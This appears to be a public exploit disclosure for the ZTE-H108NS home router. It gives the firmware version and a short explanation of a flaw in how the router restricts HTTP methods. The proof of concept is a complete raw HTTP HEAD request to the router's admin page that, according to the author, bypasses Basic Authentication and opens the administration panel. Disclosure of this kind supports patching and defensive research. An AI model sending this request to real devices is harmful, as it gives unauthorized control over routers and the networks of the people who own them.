Router ZTE-H108NS - Authentication Bypass

# Exploit Title: Router ZTE-H108NS - Authentication Bypass
# Date: 19-11-2022
# Exploit Author: George Tsimpidas 
# Vendor: https://www.zte.com.cn/global/
# Firmware: H108NSV1.0.7u_ZRD_GR2_A68
# CVE: N/A 
# Tested on: Debian 5.18.5

Description :

When specific http methods are listed within a security constraint,
then only those
methods are protected. Router ZTE-H108NS defines the following http
methods: GET, POST, and HEAD. HEAD method seems to fall under a flawed
operation which allows the HEAD to be implemented correctly with every
Response Status Code.


Proof Of Concept :

Below request bypasses successfully the Basic Authentication, and
grants access to the Administration Panel of the Router.


HEAD /cgi-bin/tools_admin.asp HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: SESSIONID=1cd6bb77
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0